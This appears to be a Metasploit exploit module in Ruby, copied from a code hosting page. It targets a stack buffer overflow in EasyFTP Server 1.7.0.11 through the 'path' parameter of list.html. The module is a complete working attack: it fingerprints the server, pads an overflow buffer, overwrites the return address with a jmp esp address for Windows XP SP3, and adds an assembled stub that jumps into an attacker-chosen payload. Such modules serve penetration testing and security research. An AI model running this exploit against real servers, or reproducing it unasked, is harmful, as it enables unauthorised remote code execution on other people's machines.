126 lines
3.7 KiB
Ruby
126 lines
3.7 KiB
Ruby
##
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = GreatRanking
|
|
|
|
HttpFingerprint = { :pattern => [ /Easy-Web Server\// ] }
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'EasyFTP Server list.html path Stack Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11
|
|
and earlier. EasyFTP fails to check input size when parsing the 'path' parameter
|
|
supplied to an HTTP GET request, which leads to a stack based buffer overflow.
|
|
EasyFTP allows anonymous access by default; valid credentials are typically
|
|
unnecessary to exploit this vulnerability.
|
|
|
|
After version 1.7.0.12, this package was renamed "UplusFtp".
|
|
|
|
Due to limited space, as well as difficulties using an egghunter, the use of
|
|
staged, ORD, and/or shell payloads is recommended.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'ThE g0bL!N', # Original exploit [see References]
|
|
'jduck' # Metasploit re-implementation
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'OSVDB', '66614'],
|
|
[ 'EDB', '11500' ]
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'thread'
|
|
},
|
|
'Privileged' => true,
|
|
'Payload' =>
|
|
{
|
|
'Space' => 256,
|
|
'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x23\x25\x26\x2b\x2f\x3b\x3f\x5c",
|
|
'Compat' =>
|
|
{
|
|
'ConnectionType' => '+ws2ord',
|
|
},
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'Windows XP SP3 - Easy FTP Server Universal',
|
|
# NOTE: It's not possible to use addresses within the
|
|
# binary due to the nul byte.
|
|
{
|
|
'Ret' => 0x7cc5d507 # jmp esp in shell32.dll
|
|
#'Ret' => 0xdeadbeef
|
|
}
|
|
]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Feb 18 2010'
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(8080),
|
|
OptString.new('USERNAME', [true, 'The HTTP username to specify for basic authentication', 'anonymous']),
|
|
OptString.new('PASSWORD', [true, 'The HTTP password to specify for basic authentication', 'mozilla@example.com'])
|
|
], self.class)
|
|
end
|
|
|
|
def check
|
|
info = http_fingerprint # check method
|
|
if info and (info =~ /Easy\-Web Server\//)
|
|
return Exploit::CheckCode::Detected
|
|
end
|
|
Exploit::CheckCode::Safe
|
|
end
|
|
|
|
|
|
def exploit
|
|
if (payload.encoded.length > payload_space)
|
|
fail_with(Failure::Unknown, "Insufficient space for payload, try using a staged, ORD and/or shell payload.")
|
|
end
|
|
|
|
# Fix up ESP, jmp to the beginning of the buffer
|
|
stub_asm = %q{
|
|
mov edi, esp
|
|
add esp, 0xfffffc04
|
|
add edi, 0xfffffee8
|
|
jmp edi
|
|
}
|
|
stub = Metasm::Shellcode.assemble(Metasm::Ia32.new, stub_asm).encode_string
|
|
|
|
# Build the path up
|
|
path = ''
|
|
path << payload.encoded
|
|
path << rand_text(268 - path.length)
|
|
# NOTE: It's possible to overwrite SEH, however SafeSEH is in effect.
|
|
path << [target.ret].pack('V')
|
|
path << rand_text(280 - path.length)
|
|
path << stub
|
|
path << rand_text(332 - path.length)
|
|
|
|
uri = "/list.html?path="
|
|
uri << path
|
|
|
|
print_status("Trying target #{target.name}...")
|
|
res = send_request_raw({ 'uri' => uri }, 5)
|
|
|
|
if (res)
|
|
print_error("The server unexpectedly responded, this is not good.")
|
|
print_status(res.inspect)
|
|
end
|
|
|
|
handler
|
|
end
|
|
|
|
end
|